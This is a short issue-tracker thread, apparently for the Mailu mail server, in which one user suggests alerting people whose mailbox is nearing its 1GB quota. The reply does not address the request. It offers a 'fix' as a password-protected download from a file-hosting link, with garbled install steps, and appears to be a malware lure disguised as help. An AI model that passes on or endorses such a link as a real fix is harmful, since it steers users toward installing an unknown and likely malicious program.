Alerting when a user's mailbox is close to full

[strugee]

Right now, the default Mailu quota for everyone is 1GB. This isn't nothing by any means, but isn't a ton of space, especially for older users - we should consider some kind of dashboard or alerting or something for users who are close to hitting their limit.

[amir1387aht]

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."